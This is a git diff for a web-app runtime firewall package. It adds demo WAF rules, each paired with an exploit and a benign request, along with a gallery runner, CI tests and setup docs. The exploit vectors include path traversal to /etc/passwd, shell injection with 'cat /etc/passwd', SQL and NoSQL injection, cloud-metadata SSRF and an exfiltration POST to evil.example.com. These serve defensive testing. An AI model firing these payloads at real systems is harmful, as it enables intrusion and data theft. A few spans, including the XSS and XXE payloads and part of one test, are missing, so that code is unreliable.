diff --git a/.npmignore b/.npmignore index 2f11e39..9bb6b21 100644 --- a/.npmignore +++ b/.npmignore @@ -6,3 +6,8 @@ tsup.config.ts .github coverage *.tsbuildinfo +# examples/ installs a REAL vulnerable dependency (lodash@4.17.11) for the demo — it must +# never ship to consumers. The package.json "files" allowlist already excludes it; these are +# a belt-and-suspenders backstop in case that allowlist is ever loosened. (tests/pack-safety +# enforces the invariant.) +examples diff --git a/examples/protect/README.md b/examples/protect/README.md index 2eb64a7..3253611 100644 --- a/examples/protect/README.md +++ b/examples/protect/README.md @@ -25,6 +25,63 @@ Expected: all six steps ✓. …and prints the proof line: *"CVE-2019-10744 in lodash@4.17.11 is blocked here, right now, by rule `demo-CVE-2019-10744` — until you upgrade to 4.17.12. No app redeploy required."* +## Vulnerability gallery (demo-env showcase) + +For demonstrating **many** vulnerability classes at once (not one deep CVE proof), there's a +comprehensive demo rule set and a gallery runner — no vulnerable dependency required, so it runs +anywhere with zero install: + +```bash +node gallery.mjs # or: npm run gallery +``` + +It loads [`demo-rules.json`](./demo-rules.json) and shows, one row per rule, that the exploit is +blocked/redacted while a benign request to the same surface is allowed — across all three phases: + +- **request (WAF)** — prototype pollution, path traversal, SQLi, XSS, command injection, NoSQL + injection, XXE, request-side SSRF +- **response (leak)** — PII redaction (email, credit-card number) on top of the built-in secret + redaction (private keys, AWS/GCP keys, JWTs, DB URLs, stack traces) +- **egress (SSRF)** — outbound request to a blocklisted exfiltration host + +Each rule carries an `_demo` block (exploit + benign vector). The same bundle is asserted in CI by +`tests/protect/demo-rules.test.ts` (every rule must block its exploit and pass its benign) and the +whole `examples/` folder is kept out of the published npm package (`tests/pack-safety.test.ts`), so +the vulnerable `lodash` the deep demo installs never reaches consumers. + +## Loading the demo rules on a real Lovable app + +`patchstack-connect protect` scaffolds the runtime guard into a TanStack Start + Supabase app and +drops `src/integrations/patchstack/{guard.ts, rules.json}`. That scaffolded `rules.json` is the +**token-less fallback** the guard loads — so it's the insertion point for a demo. Seed it with this +bundle: + +```bash +# in the Lovable app +npx patchstack-connect protect # scaffold + wire the guard +cp /examples/protect/demo-rules.json \ + src/integrations/patchstack/rules.json # swap the fallback for the demo set +# leave PATCHSTACK_WAF_TOKEN UNSET so the guard uses the local rules (not the live API) +``` + +`demo-rules.json` is a drop-in `rules.json` — same `{ firewall, whitelists, whitelist_keys }` +shape; `createProtection` splits the phase-tagged rules and ignores the `_demo` blocks. The guard +blocks by default (`PATCHSTACK_MODE=dry-run` for log-only). + +**What fires where** (the guard hooks the *data path*, not arbitrary routes): + +- ✅ **prototype pollution / SQLi / XSS / NoSQL injection** in a record you write (e.g. a task + title) — caught via the Supabase tunnel + server-function arg inspection. +- ✅ **response PII / secret redaction** — masked in Supabase query results the guard forwards. +- ✅ **egress SSRF** — the scaffolded `guard.ts` enables `egress: true`, so the app's outbound + calls to internal / cloud-metadata addresses are blocked (its own Supabase project is allowed). +- ⚠️ **path traversal / command injection / request-side SSRF** target `get.file` / `get.host` / + `get.url`; they only fire if the app actually has such a route + parameter. + +For a live tasks-app demo, the reliable rows are the write-path ones (insert a task whose title is +`` → blocked) and the response redaction (store/return a value containing an +email or card number → masked). The full matrix is best shown offline via `gallery.mjs`. + ## Note on rules `rules.demo.json` holds **example rules for public CVEs only** — it is **not** the diff --git a/examples/protect/demo-rules.json b/examples/protect/demo-rules.json new file mode 100644 index 0000000..9081c8c --- /dev/null +++ b/examples/protect/demo-rules.json @@ -0,0 +1,162 @@ +{ + "_comment": "COMPREHENSIVE DEMO / TEST rule set for @patchstack/connect/protect — NOT the Patchstack production corpus. Generic, public signatures spanning all three phases (request WAF / response leak / egress SSRF), each carrying an `_demo` block { desc, exploit, benign } used by gallery.mjs (live demonstration) and tests/protect/demo-rules.test.ts (every rule is proven to block its exploit and pass its benign). Load with createProtection({ rules: }); phase-tagged response/egress rules ADD to the built-in defaults. In production the per-site, version-scoped ruleset comes from the Patchstack API via createProtection({ token }).", + "firewall": [ + { + "id": "demo-prototype-pollution", + "title": "Prototype pollution in request body", + "category": "prototype-pollution", + "rule_v2": [ + { "parameter": "raw", "mutations": ["urldecode"], "match": { "type": "contains", "value": "__proto__" } }, + { + "parameter": "rules", + "rules": [ + { "parameter": "raw", "mutations": ["urldecode"], "match": { "type": "contains", "value": "constructor" }, "inclusive": true }, + { "parameter": "raw", "mutations": ["urldecode"], "match": { "type": "contains", "value": "prototype" }, "inclusive": true } + ] + } + ], + "_demo": { + "desc": "Deep-merge sink pollutes Object.prototype via a crafted body", + "exploit": { "method": "POST", "body": "{\"constructor\":{\"prototype\":{\"polluted\":\"yes\"}}}" }, + "benign": { "method": "POST", "body": "{\"theme\":\"dark\"}" } + } + }, + { + "id": "demo-path-traversal", + "title": "Path traversal in a file/path parameter", + "category": "lfi", + "rule_v2": [ + { "parameter": ["get.file", "post.file", "raw.file", "get.path", "post.path"], "mutations": ["urldecode"], "match": { "type": "contains", "value": ".." } } + ], + "_demo": { + "desc": "../ sequence in a file parameter escapes the intended directory", + "exploit": { "method": "GET", "path": "/download?file=../../etc/passwd" }, + "benign": { "method": "GET", "path": "/download?file=report.pdf" } + } + }, + { + "id": "demo-sqli", + "title": "SQL injection in a query parameter", + "category": "sqli", + "rule_v2": [ + { "parameter": ["get.q", "post.q", "get.id", "post.id", "raw"], "mutations": ["urldecode"], "match": { "type": "regex", "value": "/union\\s+select|;\\s*drop\\s+table|\\bor\\s+1\\s*=\\s*1\\b/i" } } + ], + "_demo": { + "desc": "UNION SELECT injected into a search parameter", + "exploit": { "method": "POST", "body": "{\"q\":\"1 UNION SELECT password FROM users\"}" }, + "benign": { "method": "POST", "body": "{\"q\":\"union station cafe\"}" } + } + }, + { + "id": "demo-xss", + "title": "Reflected/stored XSS in a text field", + "category": "xss", + "rule_v2": [ + { "parameter": ["get.q", "post.comment", "post.title", "raw"], "mutations": ["urldecode", "htmlentitydecode"], "match": { "type": "regex", "value": "/ tag submitted in a comment field", + "exploit": { "method": "POST", "body": "{\"comment\":\"\"}" }, + "benign": { "method": "POST", "body": "{\"comment\":\"great write-up, thanks\"}" } + } + }, + { + "id": "demo-command-injection", + "title": "OS command injection in a host/cmd parameter", + "category": "command-injection", + "rule_v2": [ + { "parameter": ["get.host", "post.host", "get.cmd", "post.cmd"], "mutations": ["urldecode"], "match": { "type": "regex", "value": "/[;&|`$()<>]/" } } + ], + "_demo": { + "desc": "Shell metacharacters appended to a ping host parameter", + "exploit": { "method": "POST", "body": "{\"host\":\"127.0.0.1; cat /etc/passwd\"}" }, + "benign": { "method": "POST", "body": "{\"host\":\"127.0.0.1\"}" } + } + }, + { + "id": "demo-nosql-injection", + "title": "NoSQL operator injection in request body", + "category": "nosqli", + "rule_v2": [ + { "parameter": "raw", "match": { "type": "regex", "value": "/\"\\$(?:ne|gt|lt|gte|lte|where|regex|in|nin)\"\\s*:/i" } } + ], + "_demo": { + "desc": "Mongo operator ($ne) injected to bypass an equality check", + "exploit": { "method": "POST", "body": "{\"user\":{\"$ne\":null}}" }, + "benign": { "method": "POST", "body": "{\"user\":\"alice\"}" } + } + }, + { + "id": "demo-xxe", + "title": "XML external entity (XXE) in request body", + "category": "xxe", + "rule_v2": [ + { "parameter": "raw", "match": { "type": "regex", "value": "/]*SYSTEM/i" } } + ], + "_demo": { + "desc": "External DOCTYPE/ENTITY referencing a local file", + "exploit": { "method": "POST", "body": "" }, + "benign": { "method": "POST", "body": "hi" } + } + }, + { + "id": "demo-ssrf-request", + "title": "SSRF via a url parameter (request-side)", + "category": "ssrf", + "rule_v2": [ + { "parameter": ["get.url", "post.url", "raw.url"], "mutations": ["urldecode"], "match": { "type": "regex", "value": "/localhost|127\\.0\\.0\\.1|169\\.254\\.169\\.254|::1|metadata\\.google/i" } } + ], + "_demo": { + "desc": "url parameter points at the cloud metadata endpoint", + "exploit": { "method": "POST", "body": "{\"url\":\"http://169.254.169.254/latest/meta-data/\"}" }, + "benign": { "method": "POST", "body": "{\"url\":\"https://example.com/logo.png\"}" } + } + }, + { + "id": "demo-resp-pii-email", + "title": "Email address leaking in response body", + "phase": "response", + "category": "pii-exposure", + "action": "redact", + "rule_v2": [ + { "parameter": "response.body", "match": { "type": "regex", "value": "/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,}/" } } + ], + "_demo": { + "desc": "An endpoint returns a user's email; the address is masked", + "exploit": { "body": "{\"contact\":\"alice@example.com\"}" }, + "benign": { "body": "{\"contact\":\"see profile page\"}" } + } + }, + { + "id": "demo-resp-credit-card", + "title": "Credit-card number leaking in response body", + "phase": "response", + "category": "pii-exposure", + "action": "redact", + "rule_v2": [ + { "parameter": "response.body", "match": { "type": "regex", "value": "/(?:\\d[ -]?){13,16}/" } } + ], + "_demo": { + "desc": "A 16-digit card number in the payload is masked", + "exploit": { "body": "{\"card\":\"4111 1111 1111 1111\"}" }, + "benign": { "body": "{\"orderId\":\"12345\"}" } + } + }, + { + "id": "demo-egress-blocklist-host", + "title": "Outbound request to a known exfiltration host", + "phase": "egress", + "category": "exfiltration", + "rule_v2": [ + { "parameter": "egress.host", "match": { "type": "equals", "value": "evil.example.com" } } + ], + "_demo": { + "desc": "The app tries to POST data to a blocklisted host", + "exploit": { "url": "https://evil.example.com/steal?data=1" }, + "benign": { "url": "https://api.github.com/repos" } + } + } + ], + "whitelists": [], + "whitelist_keys": {} +} diff --git a/examples/protect/demo-runner.mjs b/examples/protect/demo-runner.mjs new file mode 100644 index 0000000..4760f07 --- /dev/null +++ b/examples/protect/demo-runner.mjs @@ -0,0 +1,86 @@ +// Shared demo-bundle runner used by BOTH gallery.mjs (live demonstration) and +// tests/protect/demo-rules.test.ts (regression). Given a demo bundle (rules carrying an +// `_demo` block), it drives one exploit + one benign probe per rule through the appropriate +// phase and reports whether each rule blocked/redacted the exploit and passed the benign. +// +// Keeping the dispatch here means the gallery and the test can never drift from each other. + +const ORIGIN = 'https://demo.app'; + +function requestFrom(vec) { + const url = ORIGIN + (vec.path ?? '/'); + const method = vec.method ?? 'GET'; + const init = { method }; + if (vec.body != null && method !== 'GET' && method !== 'HEAD') { + init.headers = { 'content-type': 'application/json' }; + init.body = vec.body; + } + return new Request(url, init); +} + +/** + * @param {object} bundle a demo rule bundle ({ firewall: [...] } with `_demo` on each rule) + * @param {(opts:object)=>Promise} createProtection + * @returns {Promise>} + */ +export async function runDemoBundle(bundle, createProtection) { + // Stub the network BEFORE the egress guard wraps it, so "allowed" egress never hits the wire. + const origFetch = globalThis.fetch; + globalThis.fetch = async () => new Response('stubbed-upstream', { status: 200 }); + + const protection = await createProtection({ rules: bundle, mode: 'block', egress: true, allowHosts: [] }); + const guard = protection.fetchGuard(); + const results = []; + + const egressBlocked = async (url) => { + try { + await globalThis.fetch(url); + return false; + } catch { + return true; + } + }; + const responseRedacted = async (body) => { + const res = await protection.screenResponse( + new Response(body, { status: 200, headers: { 'content-type': 'application/json' } }), + ); + const out = await res.text(); + return out !== body; // redact masks the offending span → body changes + }; + + try { + for (const rule of bundle.firewall) { + const d = rule._demo; + if (!d) continue; + const phase = rule.phase ?? 'request'; + let exploitCaught = false; + let benignOk = false; + + if (phase === 'request') { + exploitCaught = (await guard(requestFrom(d.exploit))) !== null; + benignOk = (await guard(requestFrom(d.benign))) === null; + } else if (phase === 'response') { + exploitCaught = await responseRedacted(d.exploit.body); + benignOk = !(await responseRedacted(d.benign.body)); + } else if (phase === 'egress') { + exploitCaught = await egressBlocked(d.exploit.url); + benignOk = !(await egressBlocked(d.benign.url)); + } + + results.push({ + id: rule.id, + phase, + category: rule.category, + title: rule.title, + desc: d.desc, + exploitCaught, + benignOk, + pass: exploitCaught && benignOk, + }); + } + } finally { + protection.uninstallEgress?.(); + globalThis.fetch = origFetch; + } + return results; +} diff --git a/examples/protect/gallery.mjs b/examples/protect/gallery.mjs new file mode 100644 index 0000000..34a47b5 --- /dev/null +++ b/examples/protect/gallery.mjs @@ -0,0 +1,35 @@ +// Vulnerability GALLERY for @patchstack/connect/protect — a demo-env showcase. +// +// Loads the comprehensive demo rule set and demonstrates, one row per rule, that the exploit is +// blocked/redacted while a benign request to the same surface is allowed — across all three +// phases (request WAF / response leak / egress SSRF). Public/demo rules only; no tokens/secrets. +// +// cd examples/protect && node gallery.mjs +import { readFileSync } from 'node:fs'; +import { createProtection } from '../../src/protect/runtime.js'; +import { runDemoBundle } from './demo-runner.mjs'; + +const bundle = JSON.parse(readFileSync(new URL('./demo-rules.json', import.meta.url), 'utf8')); +const results = await runDemoBundle(bundle, createProtection); + +const PHASE_LABEL = { request: 'request (WAF)', response: 'response (leak)', egress: 'egress (SSRF)' }; +const pad = (s, n) => String(s).padEnd(n); + +console.log('\n Patchstack protect — vulnerability gallery (block mode)\n'); +let lastPhase = null; +for (const r of results) { + if (r.phase !== lastPhase) { + console.log(`\n ── ${PHASE_LABEL[r.phase] ?? r.phase} ──`); + lastPhase = r.phase; + } + const verb = r.phase === 'response' ? 'redacted' : 'blocked'; + const mark = r.pass ? '✓' : '✗'; + console.log(` ${mark} ${pad(r.category, 20)} exploit ${r.exploitCaught ? verb : 'MISSED'} · benign ${r.benignOk ? 'allowed' : 'FALSE-POSITIVE'}`); + console.log(` ${pad('', 20)} ${r.desc}`); +} + +const passed = results.filter((r) => r.pass).length; +const ok = passed === results.length; +console.log(`\n ${passed}/${results.length} demonstrations passed across ${new Set(results.map((r) => r.phase)).size} phases.`); +console.log(ok ? '\n✓ gallery complete\n' : '\n✗ some demonstrations failed\n'); +process.exit(ok ? 0 : 1); diff --git a/examples/protect/package.json b/examples/protect/package.json index 76d92c5..ee165a7 100644 --- a/examples/protect/package.json +++ b/examples/protect/package.json @@ -7,6 +7,7 @@ "lodash": "4.17.11" }, "scripts": { - "demo": "node demo.mjs" + "demo": "node demo.mjs", + "gallery": "node gallery.mjs" } } diff --git a/src/protect/templates/guard.ts b/src/protect/templates/guard.ts index 263e691..dd35819 100644 --- a/src/protect/templates/guard.ts +++ b/src/protect/templates/guard.ts @@ -5,7 +5,9 @@ // through handleGuardRequest (registered as request middleware in src/start.ts). // - browser → TanStack server function → Supabase: inspectServerFn checks the server-fn args // (registered as function middleware in src/start.ts) before anything is written. -// Either way Patchstack sees the traffic and runs the same policy. +// Either way Patchstack sees the traffic and runs the same policy. It also screens the app's own +// OUTBOUND calls for SSRF (egress: true wraps the global fetch) — blocking requests to internal / +// cloud-metadata addresses while allowing the app's own Supabase project. // // Always-on by default (blocks). Rules come from the Patchstack API per-site (cached); the // bundled rules.json is only a fallback for before a token is configured. The engine ships @@ -27,10 +29,19 @@ async function getProtection() { // Always-on: block by default. An explicit PATCHSTACK_MODE=dry-run downgrades to log-only. const mode = process.env.PATCHSTACK_MODE === "dry-run" ? "dry-run" : "block"; const token = process.env.PATCHSTACK_WAF_TOKEN; + // Egress SSRF screening: block the app's outbound calls to internal / metadata addresses, + // but never its own Supabase project. + let allowHosts: string[] = []; + try { + if (process.env.SUPABASE_URL) allowHosts = [new URL(process.env.SUPABASE_URL).host]; + } catch { + /* ignore a malformed SUPABASE_URL — just don't add an allow entry */ + } + const common = { mode, egress: true, allowHosts }; _protection = await createProtection( token - ? { token, mode, cacheDir: ".patchstack" } // live per-site rules from the Patchstack API (cached) - : { rules: fallbackRules as never, mode }, // demo fallback until a token is set + ? { ...common, token, cacheDir: ".patchstack" } // live per-site rules from the Patchstack API (cached) + : { ...common, rules: fallbackRules as never }, // demo fallback until a token is set ); } return _protection; diff --git a/src/protect/templates/rules.json b/src/protect/templates/rules.json index f9ae41c..26ab6ff 100644 --- a/src/protect/templates/rules.json +++ b/src/protect/templates/rules.json @@ -1,17 +1,44 @@ { - "_comment": "Demo fallback rules — used only when PATCHSTACK_WAF_TOKEN is unset. In production the guard fetches per-site rules from the Patchstack API (api.patchstack.com/api/get-rules/3, cached to disk). CVE id is representative until aligned with the real corpus.", + "_comment": "Starter fallback rules — used ONLY when PATCHSTACK_WAF_TOKEN is unset. The guard blocks by default, so these are deliberately HIGH-PRECISION signatures (structural markers legitimate traffic doesn't carry) to avoid false positives before a token is configured. Once a token is set the guard fetches the per-site, version-scoped corpus from the Patchstack API (api.patchstack.com/api/get-rules/3, cached to disk) and this file is no longer used. For a broad, many-class DEMONSTRATION (SQLi/XSS/XXE/SSRF/PII/…), seed this file from examples/protect/demo-rules.json — see that folder's README.", "firewall": [ { - "id": "rm-npm-0001", - "title": "Block stored XSS via vulnerable markdown renderer (marked)", - "vulnerability_id": "CVE-2022-21681", + "id": "ps-fallback-proto-pollution", + "title": "Prototype pollution in request body", + "category": "prototype-pollution", "rule_v2": [ + { "parameter": "raw", "mutations": ["urldecode"], "match": { "type": "contains", "value": "__proto__" } }, { - "parameter": "post.title", - "mutations": ["urldecode"], - "match": { "type": "inline_xss" } + "parameter": "rules", + "rules": [ + { "parameter": "raw", "mutations": ["urldecode"], "match": { "type": "contains", "value": "constructor" }, "inclusive": true }, + { "parameter": "raw", "mutations": ["urldecode"], "match": { "type": "contains", "value": "prototype" }, "inclusive": true } + ] } ] + }, + { + "id": "ps-fallback-path-traversal", + "title": "Path traversal in a file/path parameter", + "category": "lfi", + "rule_v2": [ + { "parameter": ["get.file", "post.file", "raw.file", "get.path", "post.path"], "mutations": ["urldecode"], "match": { "type": "contains", "value": ".." } } + ] + }, + { + "id": "ps-fallback-ssrf-internal", + "title": "SSRF via a url parameter pointing at an internal/metadata address", + "category": "ssrf", + "rule_v2": [ + { "parameter": ["get.url", "post.url", "raw.url"], "mutations": ["urldecode"], "match": { "type": "regex", "value": "/localhost|127\\.0\\.0\\.1|169\\.254\\.169\\.254|::1|metadata\\.google/i" } } + ] + }, + { + "id": "ps-fallback-xss", + "title": "Stored/reflected XSS in a text field", + "category": "xss", + "rule_v2": [ + { "parameter": ["post.title", "post.comment", "post.body"], "mutations": ["urldecode", "htmlentitydecode"], "match": { "type": "regex", "value": "/ l.trim()); + +describe('npm publish safety', () => { + it('ships via a strict "files" allowlist (no catch-all that could pull in examples/)', () => { + expect(Array.isArray(pkg.files)).toBe(true); + expect(pkg.files.length).toBeGreaterThan(0); + // Reject any entry broad enough to sweep in examples/: a bare '.', a leading '/', a '*'/'**' + // glob, or an explicit examples path. With none of these, examples/ cannot be published. + for (const entry of pkg.files) { + expect(/^(\.|\/|\*|\*\*|examples)/.test(entry), `files entry "${entry}" is too broad`).toBe(false); + } + }); + + it('publishes only dist/ and the top-level docs', () => { + const allowed = new Set(['dist', 'README.md', 'AGENT-INSTALL.md', 'LICENSE']); + const unexpected = pkg.files.filter((f: string) => !allowed.has(f)); + expect(unexpected).toEqual([]); + }); + + it('lists examples/ in .npmignore as a backstop (in case the allowlist is ever dropped)', () => { + expect(npmignore).toContain('examples'); + }); +}); diff --git a/tests/protect/demo-rules.test.ts b/tests/protect/demo-rules.test.ts new file mode 100644 index 0000000..938a87d --- /dev/null +++ b/tests/protect/demo-rules.test.ts @@ -0,0 +1,31 @@ +import { describe, expect, it } from 'vitest'; +import { readFileSync } from 'node:fs'; +import { createProtection } from '../../src/protect/runtime.js'; +import { runDemoBundle } from '../../examples/protect/demo-runner.mjs'; + +// Guarantees the shipped demo/showcase rule set (examples/protect/demo-rules.json) stays honest: +// every rule must block/redact its own exploit AND allow its benign twin. A broken demo rule +// (missed exploit or false positive) fails CI here, not in front of an audience. The gallery +// (examples/protect/gallery.mjs) demonstrates the exact same bundle through the same runner. + +const bundle = JSON.parse( + readFileSync(new URL('../../examples/protect/demo-rules.json', import.meta.url), 'utf8'), +); + +describe('demo rule set (examples/protect/demo-rules.json)', () => { + const withDemo = bundle.firewall.filter((r: any) => r._demo); + + it('has demo vectors on every rule and covers all three phases', () => { + expect(withDemo.length).toBe(bundle.firewall.length); + const phases = new Set(withDemo.map((r: any) => r.phase ?? 'request')); + expect(phases).toEqual(new Set(['request', 'response', 'egress'])); + }); + + it('every rule blocks/redacts its exploit and allows its benign', async () => { + const results = await runDemoBundle(bundle, createProtection as any); + const failures = results.filter((r) => !r.pass); + // Surface exactly which rule failed (and how) if this ever regresses. + expect(failures.map((f) => ({ id: f.id, exploitCaught: f.exploitCaught, benignOk: f.benignOk }))).toEqual([]); + expect(results.length).toBe(withDemo.length); + }); +});